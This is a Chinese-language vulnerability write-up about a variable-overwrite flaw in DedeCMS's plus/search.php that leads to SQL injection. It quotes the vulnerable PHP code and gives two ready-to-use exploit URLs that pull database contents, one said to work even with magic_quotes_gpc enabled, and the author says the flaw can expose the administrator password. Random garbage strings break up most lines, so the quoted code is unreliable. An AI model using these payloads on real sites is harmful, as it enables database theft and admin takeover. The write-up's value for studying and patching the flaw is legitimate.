微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
7 @0 P0 | \3 _7 O; `4 t5 W8 J: Y作者: c4rp3nt3r@0x50sec.org
- | u3 r7 h v# @2 m/ JDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码./ Q' W/ K+ e m& [
& E: {! o: ]+ u( b5 K黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.4 ?2 X" w. M: f U
3 E! I K$ I+ ?! x, W) G! e& ^, C============* d" k( T: T0 l+ }2 R+ ]9 s( v
. ~- ^2 f6 K, S. {% y( H
: D- g) T" @. D( A$ yDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.4 r, a4 N, K1 T# A! f
6 V' F+ `4 P& K: y( \5 X7 ^- q% N
require_once(dirname(__FILE__).”/../include/common.inc.php”);2 y" w9 S W1 h* s
require_once(DEDEINC.”/arc.searchview.class.php”);1 _5 Z% @- O9 D, h5 ~- D, r3 I9 n
6 i+ Y/ { N! n( Q5 T3 {8 ?
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;" \9 h, M$ S8 n( V& z$ R
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;( N E( P, | d1 T& f+ H
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;( I5 d8 r# a0 b" T: @
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
# X7 }6 [, F# J$ _1 S* }$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
0 u3 H8 `5 U3 l9 Z. T3 T7 J5 h% x. X/ B
/ ]- p- ]1 k9 T8 Eif(!isset($orderby)) $orderby=”;
6 P5 e9 }' ^2 a! o/ a4 f \0 Zelse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
/ l% S8 r* V8 q6 M5 H0 g
" q& W g. d- t
0 i! ^( X* G8 E2 t5 v0 `: J5 m5 [, nif(!isset($searchtype)) $searchtype = ‘titlekeyword’;2 R+ J1 A0 s/ B% S' o' N
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);: a" n: E% Y+ U" d: D" r, g6 ^
% i+ ]* ~5 J% k5 B9 x3 tif(!isset($keyword)){
0 A& E! p5 R- |$ J if(!isset($q)) $q = ”;/ c( ]. Q$ g/ M7 R9 k
$keyword=$q;, _9 [- y* G) L* b4 D8 V6 V$ z
}% ^9 h$ E5 B8 ?" b, X/ x; t
/ D6 y d1 y- `% M8 I& C
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
7 O( G1 ~- A6 N# j! l( h
: W# X- n4 n" O" I6 A//查找栏目信息* f' Z- l% E8 a+ I) L1 S; L1 u$ Y$ B1 Y/ o
if(empty($typeid))7 O# B! ], U* u* K f' f
{8 w9 r- P, W% M( @) o0 b
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
+ X+ s, s' D% ~1 D3 L if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )0 O2 T7 V+ {4 t" d
{
1 `& Q3 G" C. s0 G( e $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);' N4 j, B/ D7 V1 J" v
fwrite($fp, “<”.”?php\r\n”);5 a& m" b2 D% R
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);2 h4 a+ e( a/ B- F" ^5 z/ ?8 }
$dsql->Execute();
. F$ N, g4 R5 x9 i& s& y% O3 C while($row = $dsql->GetArray())
- G) `; p& g" }( d' P* o) e6 B {
' r( |+ |0 o& h9 ^7 |) k$ l( h- N fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
* m( x( }1 b. F1 ~5 Y2 o5 Q: P }( _9 H0 a1 H0 h/ s5 E
fwrite($fp, ‘?’.'>’);9 V9 u; {0 \5 Y4 L
fclose($fp);
. S5 g; p" a5 j }. c$ X8 U9 h W, J( A+ s
//引入栏目缓存并看关键字是否有相关栏目内容
8 j' Z% |4 _" P. z. j require_once($typenameCacheFile);; F, E# y5 x% J
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个7 Q! `! q# u8 ?1 b. E8 b x/ p" z
//
% w& |2 ^1 a' f8 k, [3 j if(isset($typeArr) && is_array($typeArr)). U+ H1 ^7 w/ r! t! X! r1 o
{, k/ V; ]7 F& o$ b
foreach($typeArr as $id=>$typename)
6 k* Q! h) c& n/ ^8 V1 F6 p( y {
$ s3 j5 \0 S; d7 Y! A0 f 4 A0 Z1 O8 c' V' x4 H1 J
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
2 v+ ?6 x f# U' _1 D. J. h5 p) c# Q if($keyword != $keywordn)
9 S; a/ j/ q: k' w {
5 J' T v# j3 n/ Q b- Q $keyword = $keywordn;
/ y |! H7 X/ d4 N% K4 a& D <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
4 C9 G; M2 q7 q! i break;; u6 ]& |# p K* N `
}
; r* U1 N- u' {" r9 s- `2 D) C }
" W+ |3 K) B6 j. v }8 o2 [4 Q/ N2 {6 M5 G" `" L
}
a5 D% w3 H$ T$ [: Q然后plus/search.php文件下面定义了一个 Search类的对象 .9 A1 K: ]! U, w' t8 o
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
5 t+ M" s8 H/ L4 g4 ], h& T* l$this->TypeLink = new TypeLink($typeid);
! h7 U6 C( t ^/ v9 l
* O2 F6 M3 J& U; a7 F3 z( H. ?/ [TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
$ G" v. S% k+ \; E/ n+ w, x
, C# M) p5 a! h% t; M8 Cclass TypeLink
, s! u# m* `6 v; I2 o" d1 h{! M, a- U* c. i$ R8 e1 y
var $typeDir;
2 D3 S& K! t% A: U3 k Q; x var $dsql;& A/ r* B3 s- a( O3 j
var $TypeID;
/ \; L. B3 ~ A2 R5 ~ var $baseDir;# |0 M, d3 G, l" L( t
var $modDir;
6 e: u' y7 f) ~8 }! _ var $indexUrl;
# h! J' V6 D* d4 l9 L$ ] var $indexName;& U3 z8 [3 v5 G8 k' _- `% k9 `
var $TypeInfos;
8 w* R# V8 Q4 O: Y3 U, R var $SplitSymbol;
0 t! E- w1 a) _+ d9 Q var $valuePosition;! X0 s, P+ l4 Q, g6 l; L6 ?
var $valuePositionName;
* B. s- v+ a; J var $OptionArrayList;//构造函数///////& T7 H$ c1 Q! i. D% O
//php5构造函数
# @5 F7 [ Z9 S# \ function __construct($typeid)% r# j0 Y( Y4 n/ U' K
{
5 \8 g* H9 X3 m9 E# k) ` $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];# L4 A/ S: _/ P( l* n6 R5 X2 w) e( _
$this->indexName = $GLOBALS['cfg_indexname'];
, B: A$ e0 f& f' q" |" R $this->baseDir = $GLOBALS['cfg_basedir'];
! b) M) D6 Q- D' ~, i0 p $this->modDir = $GLOBALS['cfg_templets_dir'];9 i; z u* H6 s& \ t7 i
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
% ]7 U. M& o' W" a9 w9 P $this->dsql = $GLOBALS['dsql'];
$ Z/ ?, h1 ]. f8 H* A $this->TypeID = $typeid;8 i& t* c2 o' A0 K; M2 C# {5 E
$this->valuePosition = ”;: I+ j+ _0 x. C' p
$this->valuePositionName = ”;
2 T# t$ b/ Y3 d/ _ $this->typeDir = ”;
6 `" Q6 L# m% k4 D8 d" o6 F5 n $this->OptionArrayList = ”;$ G" {; P% W4 C2 c8 I& [* u
6 h, A& a& z4 c6 G8 n //载入类目信息. u# ~% z. C$ a. Q# m. J4 s- _% `
% u; f8 o" h, R <font color=”Red”>$query = “SELECT tp.*,ch.typename as2 n4 B. F% P8 Y- s& u4 C. a
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
. q; Y8 f: P5 i1 [5 Q`#@__channeltype` ch
! U$ @( k7 @4 f( t1 M on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿 [: k) M7 M! u5 d7 N2 V$ b2 M8 _" z
+ Q) v, Z* h% O9 y
if($typeid > 0)1 O5 C4 p2 b$ \$ u; x( l4 J: o; W
{( Z; v* y1 R' [1 C
$this->TypeInfos = $this->dsql->GetOne($query);( D' \" ?, v& A2 i8 U/ h7 J
利用代码一 需要 即使magic_quotes_gpc = Off
( |: g! w4 T1 p
4 G2 a) N8 @8 i! w3 h% |! V' iwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title4 d. X# o' _5 V8 ]# `6 i
Q$ t* Y% T+ r1 `
这只是其中一个利用代码… Search 类的构造函数再往下# Z6 b" r+ F9 S4 J- w, d
2 F0 d4 ?/ u: d$ @+ R" ?) J
……省略- x! C w# i8 m4 {- G
$this->TypeID = $typeid;
) Q5 P8 p8 o, ?……省略
) C8 m/ F# M. T/ E( P# Y lif($this->TypeID==”0″){" h: |4 b7 C6 f3 S4 Q- j( ~# s
$this->ChannelTypeid=1;' z5 s& R! ~- ]: Z( A4 p: x
}else{
/ l/ S; p! h$ |( L* l. h $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲) P9 U7 |# p. o6 d
//现在不鸡肋了吧亲…- Y) g( W/ l! z q8 r. J
$this->ChannelTypeid=$row['channeltype'];
5 F& t7 w( w9 U& V4 p
6 s) ]1 }! K$ Z5 A9 T }
' Z' A8 v; Y& P1 V" R1 u利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用." C) l7 X" y9 |* H( f
! v6 c" y n: T" n! x9 R
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title2 D7 {/ {7 B6 D
1 X4 y0 E4 l: x, u2 V' B如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站$ G' @/ [7 D/ G' ~9 Z
|